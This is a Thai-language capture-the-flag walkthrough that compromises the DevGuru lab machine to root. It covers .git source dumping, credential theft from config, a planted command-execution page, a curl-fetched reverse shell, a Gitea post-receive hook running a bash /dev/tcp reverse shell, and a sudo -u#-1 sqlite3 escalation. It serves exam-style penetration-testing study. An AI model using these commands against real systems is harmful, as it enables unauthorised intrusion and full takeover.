สวัสดีครับ วันนี้พามาทำโจทย์บน Vulhub ที่ชื่อว่า DevGuru กันนะครับ ใน Description มีเขียนเอาไว้ว่า “OSCP like ~ Real life based” เผื่อจะเป็นแนวทางสำหรับสอบ OSCP ก็..เป็น..ได้
จุดประสงค์ของโจทย์ข้อนี้คือ ให้หาช่องโหว่บนเว็บไซต์จนนำไปสู่การเข้าใช้งานได้ด้วยสิทธิ์ root นะครับ
Information Gathering
ได้โจทย์มาไม่คิดอะไรมาก nmap ก่อนลย
nmap -Pn -p- -sS -sV 192.168.37.167 -oA 192.168.37.167
ลองเข้าหน้าเว็บที่ port 80 ลักษณะหน้าตาประมาณนี้
ลองเข้าหน้าเว็บที่ port 8585 ลักษณะหน้าตาประมาณนี้
ต่อมาใช้ Tools ที่ชื่อว่า Dirsearch ในการบูธหาพาธอื่น ๆ บนเว็บไซต์ทั้ง Port 80 และ 8585
ผลการบูธพาธบน Port 8585
พบหน้าเว็บที่น่าสนใจคือหน้าสำหรับ Login
และหน้าของสมาชิกชื่อ Frank
รวมไปถึงหน้า Healthcheck ที่แสดงสถานการณ์ทำงานของระบบฐานข้อมูล หมายความว่าต้องการระบบฐานข้อมูลอยู่แน่ ๆ
ผลการบูธพาธบน Port 80
พบว่ามี .git ด้วยอาจจะมีการจัดเก็บ Source ใน Git Repository ก็เป็นไปได้
พบหน้า Login ที่เป็น Backend อยู่ด้วย
พบข้อมูลที่น่าสนใจจาก .htaccess ว่ามี adminer.php ที่ดูเหมือนจะเป็นระบบสำคัญซะด้วย
ลองเข้าไปที่พาธ adminer.php ดูก่อนเลยแล้วกัน เมื่อเข้ามาแล้วก็พบว่าเป็นระบบฐานข้อมูลนี่เอง แต่ติดตรง Credential ที่ต้องหามา Login .ให้ได้ซะก่อน
จากที่เห็นพาธ .git ก่อนหน้านี้ลองใช้ Gitdumper ลองหา Dump Source Code ของระบบนี้มาดูก่อนละกัน โดย Dump มาที่พาธ dump1
เมื่อ Dump มาเรียบร้อยแล้วให้ใช้ Extractor เพื่อทำการแกะไฟล์ที่ dump มา โดยทำการแกะไปที่ extract1
ลองเข้าไปที่พาธที่แกะออกมาดู ก็จะพบกับ Source Code
เข้าไปที่ config/database.php ก็จะพบกับรหัสผ่านสำหรับเข้าสู่ ระบบฐานข้อมูล
ลองนำข้อมูลที่ได้จาก dababase.php มาเข้าสู่ระบบดู พบว่าสามารถเข้าสู่ระบบฐานข้อมูลของ October ได้สำเร็จ
จากนั้นลองเข้าไปดูที่ Table: backend_users ก็พบว่ารหัสผ่านของ Frank ถูกเข้ารหัสแบบ bcrypt ไว้ จึงทำการสร้าง user ใหม่ขึ้นมา พร้อมกับตั้งรหัสผ่านใหม่ขึ้นมาเลย
จากนั้นนำ User/Password ที่สร้างขึ้นมาใหม่ลอง Login เข้าสู่ระบบ Backend พบว่าสามารถเข้าสู่ระบบได้สำเร็จ เป็นระบบ CMS ที่ชื่อว่า October
พบหน้าเว็บให้อัปโหลดไฟล์ที่น่าลองอัปโหลด shell เข้าไป พยายามอยู่นาน สองนานพบว่าไม่สามารถทำการ bypass การอัปโหลดเข้าไปได้เลย แสดงว่าเขาอาจจะไม่ตั้งใจให้เราอัปโหลด Shell แน่ ๆ เลย
งั้นลองมาที่หน้าของการออกแบบหน้าเว็บดูบ้าง ลองเขียน code ที่เป็นคำสั่งสำหรับเรียกใช้ OS Command โดยทำการเขียนในหน้าเว็บ /services
จากนั้นลองเข้าที่ http://192.168.37.167/services?cmd=ls พบว่าสมารถใช้คำสั่ง ls และมีไฟล์แสดงออกมา
ใช้คำสั่ง curl เพื่อสั่งให้ระบบเป้าหมายทำการดาวน์โหลดไฟล์ Reverseshell เข้าไปที่เครื่องของระบบเป้าหมาย
ตรวจสอบไฟล์ที่สั่งให้เครื่องเป้าหมายดาวน์โหลดไปว่ามีอยู่หรือไม่ และพบว่าสามารถวางไฟล์ Shell ได้เรียบร้อย
เนื่องจากไฟล์ Shell ของเราเป็น Reverse Shell จึงต้องเปิด Port เพื่อรอรับ Connection โดยใช้ nc -lvp 4455
ขั้นตอนต่อไปคือการสั่งใช้งานไฟล์ Shell โดยใช้คำสั่ง php rev.php
พบว่าสามารถ Reverse Shell กลับมาได้สำเร็จ แต่ได้ในสิทธิ์ของ www-data
หลังจาก Revere Shell แล้วก็ทำ Spwan Shell เอาไว้หน่อย เนื่องจากระบบเป้าหมายมีการลง Python3 เอาไว้เลยใช้คำสั่ง python3 -c ‘import pty; pty.spawn(“/bin/bash”)’
ต่อมาลองใช้ Tools ชื่อว่า linPEAS เพื่อสแกนดูว่าเราสามารถเพิ่มสิทธิ์จากปัจจุบันไป root ได้อย่างไรบ้าง ใช้คำสั่ง git clone https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite.git
หลังจากสแกน พบว่า Sudo Version สามารถทำ privilege escalation ได้
ลองใช้คำสั่ง sudo -l แต่พบว่าจะต้องใช้รหัสผ่านของ user ปัจจุบันด้วยจึงคิดว่ายังทำต่อด้วยช่องโหว่ sudo ไม่ได้
ลองมาหาที่ไฟล์ Backup กันก่อนดีกว่า มีหลายพาธที่น่าจะมีข้อมูลให้เราได้อีก
ค้นจนเจอ Username/Password ของระบบฐานข้อมูล
เรากลับไป Login เข้าระบบฐานข้อมูลที่ http://192.168.37.167/adminer.php และพบว่าสามารถเข้าสู่ระบบฐานข้อมูลของ gitea ได้สำเร็จ
เข้าระบบฐานข้อมูลแล้ว พุ่งตรงไปยัง Table user ก่อนเลย แล้วก็พบคอลัมน์ password ของ User frank ถูกเข้ารหัสเอาไว้ แต่ครั้งนี้รูปแบบการเข้ารหัสต่างจากฐานข้อมูลแรก
พอเลื่อน ๆ ดูก็เห็นคอลัมน์ที่บอกชนิดของ hash เอาไว้ด้วย
ลองใส่รหัสผ่านที่มีการใช้ hash แบบ bcrypt เข้าไปดูเลย
ลองนำรหัสผ่านที่ตั้งขึ้นมาใหม่ลองมาเข้าสู่ระบบใน username: frank2 ดูพบว่าสามารถเข้าสู่ระบบได้แล้ว โดยครั้งนี้เป็นการเข้าสู่ระบบบน URL: http://192.168.37.167:8585/
ระบบ Gitea นี้หน้าตาของเว็บไซต์ และมีการสร้าง Repository คล้าย ๆ กับ Github เลยแหะ
ลองสร้าง Repository ดูก็รู้เลยว่าน่าจะใช้คำสั่งของ git ได้แน่นวลล
ต้องบอกก่อนว่าแอดเองก็ยังไม่เคยเล่นกับพวก git มากนัก เรียกว่ายังเป็นมือใหม่เลยล่ะ มาศึกษาเรื่อง git เพิ่มหน่อยละกัน
เริ่มที่คำสั่งจากบนเว็บเลยละกัน
รันคำสั่งตาม Guide Line ที่มีมาให้
เมื่อกลับมาที่เว็บไซต์ก็พบว่าไฟล์ README.md ถูก push มาไว้ที่เว็บแล้ว
เมื่อเรา Push ไฟล์ขึ้นไปสำเร็จแล้ว เราจะใช้ประโยชน์จาก Git Hook ในหัวข้อ post-receive ว่าเมื่อ push ไฟล์สำเร็จจะให้ action อะไรต่อ
ใส่คำสั่ง bash -i >& /dev/tcp/192.168.37.168/5566 0>&1 เข้าไปเพื่อทำการ Reverse Shell กลับมา
ใช้คำสั่ง nc -lvp 5566 เปิดรอรับ shell เลยครับ
ทำการแก้ไขเนื้อหาไฟล์เดิมและทำการ push ไฟล์ขึ้นไป
เรียบร้อยครับตอนนี้เราได้สิทธิ์เป็น frank แล้วครับ
ลอง sudo -l ดูพบว่าไม่ติด password แล้วครับ มาลองยกสิทธิ์กันดูอีกครั้ง ลองหาข้อมูลจากเว็บ https://gtfobins.github.io/gtfobins/sqlite3/#sudo เพื่อคนหาคำสั่งการยกสิทธิ์ด้วย sqlite3
ลองรันคำสั่ง sudo sqlite3 /dev/null ‘.shell /bin/sh’ ดูก็พบว่าติดรหัสผ่านของ frank แหะ
เลยลองเอาเวอร์ชันของ sudo ไปหาช่องโหว่ดูว่าเขายกสิทธิ์กันยังไงบ้างนะ จนได้เป็นคำสั่ง sudo -u#-1 sqlite3 /dev/null ‘.shell /bin/sh’ และได้สิทธิ์ root แล้วเย้~
จบแล้วจ้า